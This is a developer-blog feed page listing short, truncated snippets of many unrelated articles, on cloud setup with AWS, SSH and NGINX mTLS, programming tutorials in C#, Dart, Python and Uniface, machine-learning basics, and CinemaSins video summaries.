    SSH let me copy my .pem key and connect instantly, while PuTTY forced me to convert to .ppk every time SSH saved time, reduced friction, and scaled securely. This project matters because it teaches secure, real‑world cloud skills: launching EC2, using SSH with .pem keys, avoiding PuTTY conversions, and hosting a webpage. It builds automation habits, scales easily, and mirrors workflows businesses rely on daily. Step by Step on how to SSH into Ubuntu EC2 from Gitbash. Launch an EC2 Instance Log in to the AWS Management Console. Search for EC2 and open the EC2 dashboard. Click Launch Instance. Fill in the details: Name: e.g., elmaurserver. AMI (Amazon Machine Image): Choose Ubuntu Server 22.04 LTS (or Amazon Linux if you prefer). I choose Ubuntu. Instance type: Start with t2.micro (free ti…  ( 7 min )
    How to Build Your Own Claude Chat App on AWS Bedrock with AWS CDK (Beginner-Friendly Step-by-Step Guide)
    🔗 Original article in Spanish: https://dev.to/chainiz/crea-tu-propio-chat-con-claude-en-aws-bedrock-usando-aws-cdk-guia-paso-a-paso-para-principiantes-20ag Learn how to build and deploy a serverless AI chat application powered by Claude 3.5 Sonnet (Anthropic) on AWS Bedrock, using AWS CDK (Python) — from scratch. Perfect for beginners exploring AWS, Infrastructure as Code, and generative AI development in the AWS ecosystem. In this hands-on project you will deploy: A Lambda function that invokes Claude 3.5 on AWS Bedrock A REST API built with API Gateway (/chat) A static web chat interface hosted on S3 Fully automated provisioning using AWS CDK (Python) This tutorial gives you a complete end-to-end AI application running in minutes. Make sure you have: AWS account with Bedrock model acces…  ( 8 min )
    Resolvendo o desafio 509. Fibonacci Number
    Link A lógica do fibonacci é bem simples. O número atual é resultado da soma do número anterior mais o seu anterior (n-1)+(n-2). Considerando apenas o conjunto dos números naturais, adicionamos uma regra para os números 0 e 1, cujo os seus correspondentes são eles mesmos f(0) = 0 e f(1)=1 e assim temos a sequência 0 1 1 2 3 5 ... podemos começar com então com a que representa a função matemática de Fibonacci f(n) = f(n-1) = f(n-2), a solução recursiva. Na solução recursiva vamos colocar: Nosso caso base n = 0 e n = 1 E a expressão matemática f(n) = f(n-1) = f(n-2) É uma solução simples e compreensiva, porém acredite não é a das melhores. Vamos pensar em fib(6), e realizar um teste de mesa (não vou trocar fib(1) e fib(0) por 1 e 0 no nosso teste de mesa porque não precisamos no…  ( 9 min )
    Linux Kernel: Interrupt Handling (Part 2)
    Table of Contents Introduction Exception Levels: Privilege Hierarchy The Dual Stack Mechanism at EL1 Typical Execution Contexts Exception Link Register (ELR_EL1) Saved Program Status Register (SPSR_EL1) Exception Syndrome Register (ESR_EL1) Vector Base Address Register (VBAR_EL1) Current Exception Level Register (CurrentEL) GIC Components Interrupt Types and Triggering GIC to CPU Signaling Interrupt Masking Hardware-Automated Exception Entry Vector Offset Calculation This article breaks down the IRQ journey path for modern Linux on ARMv8-A, following a single interrupt through hardware exception entry, kernel assembly paths, IRQ and softirq subsystems, and finally back to user or kernel context. ARMv8-A organizes execution into four Exception Levels (EL0-EL3), with higher numbers indica…  ( 11 min )
    Revolutionising Content Management: An Introduction to AEM Business Agents
    While exploring Adobe Experience Manager's latest AI capabilities, I came across Business Agents in AEM as a Cloud Service. Here's what I learned about this interesting development in enterprise content management. Business Agents are essentially AI-powered assistants that live inside AEM as a Cloud Service. The interesting part is how Adobe has broken down different content management challenges into specialized agents rather than creating one general-purpose AI tool. What caught my attention is that these aren't just experimental features—they're production-ready tools designed to handle real enterprise workflows. Though it's worth noting they're only available for AEM as a Cloud Service and Edge Delivery Services, not the older versions. This one tackles something I've seen teams strugg…  ( 9 min )
    From Intern to Employee: How a Digital CV Gets You Noticed
    I’ll be honest—getting noticed in today’s talent jungle feels harder than ever. You can have all the skills, certifications, weekend projects, and still end up buried in a recruiter’s inbox. I’ve been there. It’s frustrating, almost insulting sometimes. But here’s the twist: A digital CV can change your entire story. living, scrollable, clickable profile that shows who you are—not just what you’ve done. I didn’t really believe in digital CVs until a close friend proved me wrong without even trying. The Internship Story That Changed My Mind A few years ago, a friend of mine—let’s call her Riya—was applying for a marketing internship. She had no connections, no fancy degree, nothing “wow.” But she built a simple digital CV using an online portfolio builder (yep, those things do more than l…  ( 9 min )
    TypedSql: Turning the C# Type System into a Query Engine
    0. Introduction TypedSql started from a very practical annoyance. Most of the time when I write “queries” in .NET, my data is already in memory. I have an array or a List. I just want to filter and project it. Sure, I can: write a foreach loop — fast, explicit, but a little noisy use LINQ — nice to read, but with iterator/delegate overhead or, in extreme cases, push everything into a database and write real SQL TypedSql explores a different route: What if we treated the C# type system itself as the query plan? Instead of: building an expression tree at runtime, and interpreting it over the data, we compile a SQL‑like string into a closed generic type that describes the whole pipeline, and then run that pipeline entirely through static methods. This post is a deep dive into how that w…  ( 21 min )
    Vinyl Tracker Project Overview
    by: Bernard Borg, Submitted in partial fulfillment to Codecademy Computer Science Track - Portfolio Project: Python Terminal Utility Vinyl Tracker GitHub Repository This is a Vinyl Record Library - a Python terminal application for managing personal vinyl collections. Key Features: User authentication with login system ├── VINYL_TRACKER | ├── main.py - Entry point, login + main loop | ├── auth.py - Authentication & User Manaegement (User class user creation from csv) | ├── models.py - Data classes: User, Vinyl | ├── collection.py - CRUD operations on vinyl records | ├── search.py - All search-related logic | ├── sort_records.py - Sorting functions | ├── storage_json.py - JSON save/load | ├── storage_csv.py - CSV import/export | ├── utils.py - Helpers: clear screen, input validation, etc. | ├── user_manager.py - User creation, authentication, and management | ├── csv_handler.py - CSV import/export helpers ! Flow Diagram User Class Vinyl Class The project follows a modular structure with separate modules for different concerns: main.py - Entry point, login + main loop All data is stored in lowercase for consistency and displayed in title case to users. The application provides both single-record detailed views and multi-record summary lists for efficient browsing. Data is persisted in JSON files, one per user. CSV import/export is also supported for sharing and backups. Login Flow: Main → Login → Authenticate → Find User → Load from JSON The storage_json.py layer handles conversion between dictionaries and Vinyl objects Validation is implemented for all user inputs to ensure data integrity and quality. All validation functions follow the same pattern: NOTICE: THIS PROJECT IS NOT COMPLETE. IT IS A WORK IN PROGRESS. AUTHENTICATION IS NOT IMPLEMENTED, AS PASSWORDS ARE JUST BEING STORED IN PLAIN TEXT. THIS IS A SECURITY RISK.  ( 7 min )
    The AI-Powered Second Brain: How to Use ChatGPT and Notion to Never Forget Anything Again
    The AI-Powered Second Brain: How Veltrex Labs Uses ChatGPT and Notion to Unlock Peak Productivity In today's hyper-competitive landscape, the most valuable currency is not time, but attention. Every day, executives and their teams are bombarded with an endless stream of information: market reports, internal communications, competitor analysis, and fleeting moments of inspiration. The critical insights that drive innovation are often lost in this digital noise, buried in forgotten documents or scattered across a dozen different apps. At Veltrex Labs, we see this not as an individual failing, but as a systemic challenge—one that requires an engineered solution. The concept of a "Second Brain" has emerged as a powerful methodology for taming this chaos. It’s a centralized digital system for…  ( 11 min )
    The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI
    The 'Slow Productivity' Revolution: Why Doing Less is the Key to Achieving More in the Age of AI The promise of Artificial Intelligence was a future of unparalleled efficiency—a world where technology would handle the mundane, freeing humanity for strategic, creative, and high-impact work. Yet, for many organizations, the reality has been the opposite. Instead of liberation, AI has often ushered in an era of hyper-acceleration, a relentless demand for more output, faster decisions, and an "always-on" culture that is leading directly to a new, insidious form of exhaustion: AI burnout. At Veltrex Labs, we stand at the intersection of technological innovation and human potential. We’ve guided countless industry leaders through digital transformation, and we’ve seen this paradox firsthand. T…  ( 11 min )
    Cloud FinOps in Action: How I Saved Thousands by Optimizing AWS Architectures
    Managing cloud spending is one of the biggest challenges for modern enterprises. As applications scale, costs silently grow through unused resources, over-provisioned workloads, and inefficient storage patterns. AWS provides numerous tools and best practices to control and optimize spend—yet most organizations use only a small fraction of them. In this blog, I’m sharing the most effective AWS cost optimization techniques that I have personally implemented across real-world environments. These strategies are simple, practical, and deliver immediate results without compromising performance. 🚀 1. Migrate to Graviton Instances AWS Graviton2 and Graviton3 processors offer 20–40% better price-performance compared to traditional x86 instances. They are energy-efficient and ideal for application …  ( 8 min )
    Content Security Policy (CSP)
    ## Definindo Políticas de Conteúdo e Combatendo XSS em Aplicações Node.js A segurança de aplicações web é uma preocupação constante, e a proteção contra ataques Cross-Site Scripting (XSS) é fundamental. Uma abordagem eficaz para mitigar esses riscos é a combinação de políticas de conteúdo bem definidas e implementações robustas no servidor. As Políticas de Conteúdo (CSP) são uma camada adicional de segurança que os desenvolvedores podem adicionar às suas aplicações web. Elas fornecem controle granular sobre quais recursos (scripts, estilos, imagens, etc.) o navegador está autorizado a carregar. Isso ajuda a prevenir ataques XSS, impedindo a execução de scripts maliciosos injetados. Como Funcionam as Políticas de Conteúdo: As CSPs são definidas através de cabeçalhos HTTP (Content-Security-P…  ( 8 min )
    Run TypeScript Files in 30 Seconds
    If you have a TypeScript script (.ts file) and want to run it quickly without setting up a full build pipeline or compiling anything manually, this guide shows you how to run it in 30 seconds. Environment: I'm using WSL (Ubuntu) on Windows, but this works the same on Linux and macOS. I also assume you already have Node.js installed. mkdir my-typescript-project cd my-typescript-project npm init -y npm install --save-dev tsx tsx runs TypeScript files directly without compiling to JavaScript. npx tsx your-file.ts That's it. Let's look at a practical example. Suppose you have a JSON file exported from a Discord chat and want to convert it to Markdown. data.json: [ { "thread_id": 1, "thread_name": "Example Thread", "message_count": 2, "messages": [ { "message_…  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into Kirby Air Riders’ main theme, “Starlit Journey,” and shows why it’s pure joy from start to finish. You’ll get a timestamped tour through the upbeat intro, catchy verse, soaring chorus, playful bridge and triumphant final choruses—plus a heartfelt outro about loving music. Want more deep dives (and cool swag)? Hit up the Patreon, merch store, Discord server or follow on Twitter for all the 8bitMusicTheory goodness. Watch on YouTube  ( 6 min )
    Stop Memory Leaks! The Practical Guide to WeakMap and WeakSet
    Have you ever built a Single Page Application (SPA) that feels snappy at first, but slowly turns sluggish the longer you use it? Or perhaps you’ve tried to attach cached data to a DOM element, only to realize later that you've created a massive memory leak? In the world of JavaScript performance, WeakMap and WeakSet are your secret weapons. They solve specific, complex problems regarding memory management that standard Arrays, Objects, and Maps simply cannot handle. Let's move beyond the theory and look at production scenarios where you should actually use them. To understand why we need WeakMap, we first need to understand how standard collections work. Imagine an object in memory is a balloon. strings holding that balloon down. As long as one string is tied to the balloon, it stays in me…  ( 9 min )
    Fiz merda com o Git… como resolver?
    Se você trabalha com desenvolvimento, cedo ou tarde vai acontecer: alguma cagada no Git. Branch errado. “Meu Deus… e agora?” A boa notícia? o manual de sobrevivência de quem usa Git todos os dias: 👉 Oh Shit, Git! https://ohshitgit.com Por que esse site é tão bom? Porque ele fala exatamente a sua língua nesse momento de desespero. Ele vai direto ao ponto: "Fiz merge errado" → comando correto "Commitei no branch errado" → comando correto "Apaguei o arquivo sem querer" → comando correto "Preciso voltar atrás sem ferrar tudo" → comando correto É como ter alguém experiente te dizendo: Simples. Algumas situações que ele resolve facilmente Commit feito no lugar errado Mudanças importantes desaparecendo Reset ou revert mal feito Stash perdido Merge que virou zona Histórico bagunçado Arquivo sobrescrito sem querer Se você mexe com Git, já passou por pelo menos três desses. Por que todo dev deveria conhecer esse site? Porque erro com Git não é sinal de incompetência. O Oh Shit, Git! ajuda você a: não entrar em pânico entender o que realmente aconteceu recuperar seu trabalho aprender algo novo no processo E, principalmente: não perder horas em algo que pode ser resolvido em minutos. Vale a pena favoritar Se você nunca precisou desse site, é questão de tempo. Então salva aí: https://ohshitgit.com Depois você me agradece pela dica.  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” poking fun at every misstep, musical hiccup and costume quirk in The Wiz—just in time for Wicked’s big-screen comeback. Expect rapid-fire snark, sin counters and plenty of “how did that even make it into the movie?” moments. They’ve also thrown in all their social links (YouTube channels, Discord, Reddit, Instagram, TikTok), a sinful poll to hear your hot takes, and a Patreon shout-out if you want to keep their tiny team in business. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just unleashed their signature “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” dishing out cheeky “sins” and playful jabs at the film while dropping links to their main site, YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork) and a quick poll so fans can chime in. The sinful squad—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—also invite you to join their Discord and Reddit communities, follow on Instagram and TikTok, grab Jeremy’s book, and maybe support the team on Patreon for more behind-the-scenes fun. Watch on YouTube  ( 6 min )
    Dart on Ubuntu: Installation, Setup, and First Steps
    I recommend seeing first – installation of Homebrew and asdf on Ubuntu (it’s short, only 5 commands) Dart - Docs Dart - On DevDocs.io Shelf — Simple for APIs. Dart Frog — A fast, minimalistic backend framework for Dart Angel — Express-style, more complete. Serverpod — Larger, microservices-oriented. Note: Let’s not forget that the most important thing Dart has today is Flutter, although it almost needs its own section. Via APT (official repository) sudo apt update sudo apt install apt-transport-https sudo sh -c 'wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -' sudo sh -c 'wget -qO /etc/apt/sources.list.d/dart_stable.list https://storage.googleapis.com/dart-archive/channels/stable/release/latest/linux_packages/dart_stable.list' sudo apt update sudo apt inst…  ( 8 min )
    Cuidado ao compartilhar seus sonhos, nem todo mundo torce por você.
    Com o tempo, a gente aprende que sonhos e objetivos não devem ser entregues a qualquer pessoa. Alguns vão apoiar. E eu aprendi isso na prática, de uma forma muito clara. Anos atrás, eu estava em um casamento, sentado em uma mesa com quatro pessoas. investimentos para uma empresa, e naturalmente o assunto acabou puxando para a área financeira — algo que eu estudo há anos, seja renda fixa, renda variável, estratégias e tudo que envolve o crescimento do patrimônio. Das outras pessoas na mesa, duas ficaram ouvindo, curiosas. uma delas demonstrou ainda mais interesse, fazendo perguntas, querendo entender como começar a investir, como organizar o dinheiro, como montar carteira… E foi aí que aconteceu a parte mais reveladora. Eu comecei a orientar. Mas essa pessoa simplesmente… não estava nem aí.…  ( 7 min )
    NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption Authentication
    This article systematically breaks down the complete implementation of Nginx TCP Layer 4 port proxy and mTLS mutual encryption authentication. It covers core technical principles (TLS/mTLS mechanisms), certificate generation (root CA/server/client workflows), Nginx configuration (Stream module, SSL parameter optimization), and function verification (valid/invalid connection testing) with practical commands. It helps DevOps engineers and developers quickly build secure communication channels, addressing risks like data leakage and unauthorized access in traditional proxy architectures, suitable for encrypted proxy scenarios of TCP services such as Redis and databases. Source of the article:# NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption …  ( 13 min )
    🚀 TOON for Laravel — A Complete Tutorial to Make AI Prompts Cheaper & Faster
    🧠 TOON for Laravel — Make LLMs Cheaper, Faster & Friendlier ✨ Compress your prompts, not your ideas! ✨ AI costs money. Every token counts. That’s why I built TOON — a Laravel package that turns heavy JSON into light, readable, reversible notation for LLMs like ChatGPT, Gemini, Claude, and Mistral. This tutorial is human-friendly, full of real examples, and easy to follow. Whether you’re a beginner or production-level developer — you’ll walk away with something useful. 🚀 Sending big chunks of JSON to LLMs = 🧨 higher costs + slower responses. TOON solves this by: 📉 Reducing token usage by 60–75% 🔁 Keeping data reversible (TOON ⇄ JSON) 👀 Staying human-readable ⚡ Fully integrated with Laravel (Facade + Commands) 💡 “AI doesn’t need verbose data — it needs clean, structured context.” …  ( 8 min )
    Don Quixote Of Orchestration: Building For Problems No One Sees Yet
    I think I have a strange "talent" that is both a gift and a curse. I tend to see certain problems very early. I see the cracks long before they become visible to everyone else. With AI this has always been about one thing: the need to orchestrate cognition instead of trying to babysit a single model with clever prompts and brittle guardrails. While most of the field is still obsessed with "the right system prompt" and endless tweaks around one big LLM, I have spent months building something very different: OrKa, a modular cognition layer that makes AI reasoning observable, traceable, and deterministic enough to be trusted. It routes. It scores. It logs every decision. It treats reasoning as a graph, not as a black box. And this is where the frustration starts. A small group of people see i…  ( 13 min )
    Pwnagotchi Generator: Understanding opwngrid Through Reverse Engineering
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    Search Online - Arama Motoru
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    🚀 Token Estimation for AI Prompts in Laravel — TOON
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    Perjalananku Belajar React dan TypeScript
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    Free JSON APIs for Developers with Examples
    Free JSON APIs for Developers with Examples Welcome developers! Today we will explore Free JSON APIs for Developers with Examples with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )
    Simplifying Legacy Integration: Using Call-In Stubs in Uniface 10.4
    Simplifying Legacy Integration: Using Call-In Stubs in Uniface 10.4 Integration between modern 4GL environments and traditional C (3GL) code often feels like a high-wire act. You have to manually juggle memory handles, parameter mappings, and execution states. One slip—like a mismatched data type or a forgotten handle release—and your application crashes. If you are working with Uniface 10.4, there is a better way. Instead of writing verbose, error-prone C code to activate Uniface services, you can use Call-In Stubs. This feature generates clean C wrappers for your 4GL services, handling the heavy lifting automatically. Here is how to streamline your C-to-Uniface integration. Let’s say you need to call a simple operation named CALLIN inside a Uniface service CALLINSRV. Without stubs, you…  ( 8 min )
    I Made A Fish Schooling Sim And Honestly It Was Fun As Hell
    So yeah I made this fish schooling thing. Literally a bunch of fake fish vibing together on my GPU. I had nothing serious in mind. I just saw some video and my brain went ok cool lets try that. I swear half these projects I make start from boredom and ego mixed together. Like I wanna see something move on screen because it makes me feel like I actually know shit. Anyway the whole thing is just a bunch of rules. I used WebGPU and some compute shaders. Three.js for the visuals because I was too lazy to write the whole rendering thing from scratch. The logic is literally nature 101. Nothing crazy. Just looks cool. And honestly this project taught me something. People act like you need to make some god tier project every time. But nah. Sometimes you make a small thing and it still looks sexy. And it gives you that small hit of dopamine that keeps you going. When I posted it on LinkedIn I realized something sad though. If you dont hype your own shit nobody even looks at it. Like damn bro at least pretend to care. But yeah whatever. I like this one. Its small. Its stupid. It works. And watching the little dudes swim around felt kinda satisfying. If you wanna make something that looks way harder than it actually is then this is the move. Thats it. I’ll probably break my brain on some other random idea next. Check it out: https://github.com/Kukyos/fishschooling-sim  ( 7 min )
    The Weekly Challenge: Alike Time
    Weekly Challenge 348 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding. Challenge, My solutions You are given a string of even length. Write a script to find if the given string split into two halves of equal lengths and they both have same number of vowels. The main logic for this challenge is a function called count_vowels. The takes a string and returns the number of vowels. The Python code for this function is def count_vowels(s: str) -> int: vowels = 'aeiouAEIOU' return sum(1 for char in s if char in vowels) Not to be outdone, it's a single line in Perl. sub count_vowels ($s)…  ( 8 min )
    Breaking the Curse: Globally Optimizing the Previously Unsolvable
    Breaking the Curse: Globally Optimizing the Previously Unsolvable Are you wrestling with optimization problems where the function landscape is a jagged mountain range, and traditional methods leave you stranded in a local valley? Do you face constraints that make calculating derivatives impossible, forcing you to explore the solution space blindly? If so, you're not alone. Introducing a novel approach to global optimization, designed to efficiently navigate these treacherous landscapes without prior knowledge of the function's smoothness. The core idea is to intelligently sample the function, prioritizing evaluations that are most likely to improve our current best solution. We achieve this by adaptively refining our search region and limiting comparisons to a strategically chosen subset…  ( 7 min )
    🚀 Deep Dive: The Uniface 3GL Call-In API & C Integration
    Introduction Integrating modern C/C++ applications with established Uniface systems doesn't have to be a black box. The Uniface 3GL Call-In API acts as the bridge, mirroring the power of the ProcScript activate command but from within your C code. This guide breaks down how to instantiate components and effectively manage the environment lifecycle using the ucall library. The Call-In API allows you to: Instantiate Uniface components (Forms, Services, Reports). Execute operations with full parameter support (IN/OUT). Control the Uniface environment (Start/Stop). All necessary functions are bundled in the ucall shared library. This is the single dependency you need to link against. The documentation often shows a sequence involving both creation and opening. Here is what happens unde…  ( 7 min )
    How I Built a Tech Event Discovery Platform with Real-Time Scraping
    I'm a software developer, and I've been attending tech events for over three years now. I've used platforms like Luma and Eventbrite to find events, but there's always been one problem that frustrated me. The noise. Most event listing sites list cool tech events, but they also mix in so many non-tech events that it becomes overwhelming. When I'm looking for a React workshop or an AI conference, I don't want to scroll through cooking classes and yoga sessions. I remember searching for "JavaScript meetups" and getting results for wine tasting events and fitness bootcamps mixed in. The problem was clear. I wanted a clean, focused experience that only showed tech events. At first, I just thought about it, but I didn't know how to approach building it. Then recently, I had to automate a dataset…  ( 12 min )
    Opencode for Agentic Development with Local LLMs
    Agentic development is rapidly transforming the way developers design, build, and ship software. Tools like Opencode let developers pair powerful local LLMs with intelligent agents to automate coding tasks, refactor large codebases, and accelerate development—all while keeping data private and within your own machine. If you want to get started with Opencode using local LLMs (like Llama, Mistral, Qwen, DeepSeek, Gemma), here’s a simple, practical guide. before that, let's know Agentic workflows – AI agents that can modify your codebase intelligently. Local-first development – Integrate your own LLM running on GPU or CPU. Extensibility – Bring your own models, tools, and workflows. Security & Privacy – No proprietary code leaves your machine. Ollama GhostTTY Opencode Go to Ollama and follow…  ( 7 min )
    Intro to Pytest
    The pytest framework makes it easy to write small, readable tests, and can scale to support complex functional testing for applications and libraries. To install pytest, run: pip install pytest In this post, we’ll create a simple division function and then write tests that validate its behavior. Let’s create a file called methods.py with a simple method that divides two integer numbers and returns a floating number: # methods.py def division(a: int, b: int) -> float: return a / b Next, create a file named tests.py, which will contain all the tests. We’ll use @pytest.mark.parametrize to run the test function multiple times with different inputs. # tests.py import pytest from methods import division @pytest.mark.parametrize( "a,b,expected", [ (10, 20, 0.5), …  ( 7 min )
    Bridging the Gap: Integrating 3GL Languages with Uniface
    Introduction If you work with Uniface, you know it’s a powerful low-code platform for building enterprise applications. However, there are moments when standard 4GL isn't enough. You might need high-performance algorithms, specific system calls, or integration with existing libraries. This is where the 3GL (Third-Generation Language) interface comes into play. In this post, I’ll break down how Uniface handles 3GL integration, which languages work best, and the constraints you need to know. Strictly speaking, Uniface isn't tied to a single specific 3GL language. However, because the Uniface kernel itself is largely written in C, the interface is heavily biased toward C conventions. For a language to be compatible with Uniface, it must meet three critical conditions: Calling Convention: I…  ( 8 min )
    I've got the best idea for Thanksgiving. Im going to make a multi layer gelatin cake. Then I can tell everyone its my OSI model and how this gelatin cake relates to computer science. Dorky? Yes. Going to make my OSI gelatin cake anyways. 🌈
    A post by Anna Villarreal  ( 6 min )
    Why Softmax is Used Instead of Argmax in Neural Network Training
    Why Softmax is Used Instead of Argmax in Neural Network Training 1. Information Loss with Argmax Argmax only returns the index of the highest logit value and completely discards all confidence information: argmax([2.1, 1.0, 0.5]) = 0 argmax([5.0, 0.1, 0.1]) = 0 Both return class 0, but we lose critical information about how confident the model is in its prediction. Softmax converts logits into a probability distribution that preserves the relative confidence across all classes: softmax(zi)=ezi∑jezj\text{softmax}(z_i) = \frac{e^{z_i}}{\sum_{j} e^{z_j}}softmax(zi​)=∑j​ezj​ezi​​ This allows the loss function to measure certainty or uncertainty, which is essential for gradient-based learning. Let's compare two scenarios with 3 classes and true label = class 0. Logits: [2.1, 1…  ( 8 min )
    🛠️ Uniface 10.4 Tip: How to Debug C/C++ Components Without Crashing
    Introduction If you work with Uniface, you probably know that it plays well with others—specifically with 3GL languages like C or C++. We often use activate or perform to call out to legacy C libraries for complex calculations or system-level tasks. But here is the pain point: Debugging. Have you ever tried to attach a C++ debugger (like Visual Studio or GDB) to a running Uniface process? Often, the moment the debugger attaches, the application crashes or behaves unpredictably. This happens because both Uniface and the debugger try to manage the same system resources (like signals or threads). In Uniface 10.4 (specifically update 10.4.03.027), there is a feature designed to fix exactly this problem. Uniface introduced a setting called $ENABLE_USER_3GL_DEBUGGING. When this setting is enab…  ( 7 min )
    De-Silo Your Revenue Engine: A 5-Step Playbook for Aligning Sales & Marketing APIs
    Let's be honest, the traditional wall between sales and marketing teams feels like a legacy monolith with no API documentation. Marketing generates leads (pushes data to a queue), and sales complains about the quality (data validation error). The result? A leaky funnel, frustrated teams, and stalled growth. This isn't a "people problem"; it's a systems integration problem. As engineers, we solve these problems every day. We build resilient, interconnected systems. It's time to apply that same thinking to our company's revenue engine. This practice is often called "Smarketing" or, more technically, Revenue Operations (RevOps). It’s about treating sales and marketing as a single, cohesive system. Here's a 5-step playbook to de-silo your teams and engineer explosive growth. Before you write a…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins jumps down the Yellow Brick Road in “Everything Wrong With The Wiz In 15 Minutes Or Less,” delivering their signature rapid-fire takedown of the 1978 musical now that Wicked is back in theaters. Expect tongue-in-cheek commentary, playful nitpicks, and a handful of “sins” as they revisit Dorothy’s journey with Scarecrow, Tin Man, and Lion. As always, they sprinkle in links to their site, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a quick poll, Patreon shout-outs, and a roll call for the writers and social handles keeping the cinematic roast alive. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins just rolled out “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” their signature rapid-fire roast of the film packed with cheeky commentary and trademark nitpicks. It’s a fun, tongue-in-cheek deep dive into all the cinematic sins you never knew you noticed—perfect for fans who love a good poke at pop culture. Wanna join the fun? Hit up their main site (cinemasins.com), explore other channels (@TVSins, @commercialsins, the CinemaSins Podcast Network), or grab more links via their Linktree. Don’t forget to take their “sinful poll,” back the team on Patreon, and follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social for more behind-the-scenes mischief. Watch on YouTube  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    The New Digital Empire
    The race to regulate artificial intelligence has begun, but the starting line isn't level. As governments scramble to establish ethical frameworks for AI systems that could reshape society, a troubling pattern emerges: the loudest voices in this global conversation belong to the same nations that have dominated technology for decades. From Brussels to Washington, the Global North is writing the rules for artificial intelligence, potentially creating a new form of digital colonialism that could lock developing nations into technological dependence for generations to come. The current landscape of AI governance reads like a familiar story of technological imperialism. European Union officials craft comprehensive AI acts in marble halls, while American tech executives testify before Congress …  ( 25 min )
    Understanding npm Package Versioning: A Guide to Major, Minor, and Patch Updates
    When working with npm packages, version numbers like 1.4.2 aren't just arbitrary numbers—they follow a standardized system called Semantic Versioning (SemVer) that communicates important information about the changes in each release. Understanding this system is crucial for maintaining stable applications while keeping your dependencies up-to-date. Every version number consists of three parts: MAJOR version (first number): Indicates breaking changes MINOR version (middle number): Indicates new backward-compatible features PATCH version (last number): Indicates backward-compatible bug fixes For example, in version 2.5.3: 2 is the major version 5 is the minor version 3 is the patch version What it means: “Proceed with caution” The package has introduced breaking changes APIs ma…  ( 7 min )
    Stop the EBS Madness: Automate Your AWS Storage Savings NOW
    Ever had that moment at 2 AM when your AWS bill is sky-high just because you forgot about some EBS volumes you created last quarter? Yeah, us too. It’s like cloud storage is secretly binge-eating your budget while you sleep. Well, brace yourself—AWS Compute Optimizer just dropped a feature that lets you automate EBS volume cleanups and upgrades so you can finally take back control (and cash)! You deploy, test, and migrate. Suddenly, your account is littered with unused volumes. Upgrades? Who has time for that? You're running old gp2 volumes because “it works, right?” Manual cleanup is a soul-sucking ritual. Don’t let yourself be THAT engineer. this new Compute Optimizer feature means: Set up daily, weekly, or monthly rules. Pick a time when nobody is awake—say, midnight to 1 AM. Automation…  ( 7 min )
    What is the Spring Bean Lifecycle?
    Introduction Imagine planting a seed in your garden. You don’t just throw it in the soil and expect magic. You prepare the ground, water it, nurture it, watch it grow, and eventually remove it when its purpose is fulfilled. Surprisingly, Spring works in a very similar way. Every object that Spring manages goes through its own controlled journey—from creation to destruction. This is called the Spring Bean lifecycle. If you're learning Spring Boot or advancing your Java programming skills, understanding this lifecycle is essential. It helps you create cleaner, safer, and more predictable systems. In this blog, we’ll break the lifecycle down into simple steps, explain why it matters, walk through examples, and share practical best practices. Core Concepts In Spring, every dependency-manag…  ( 7 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
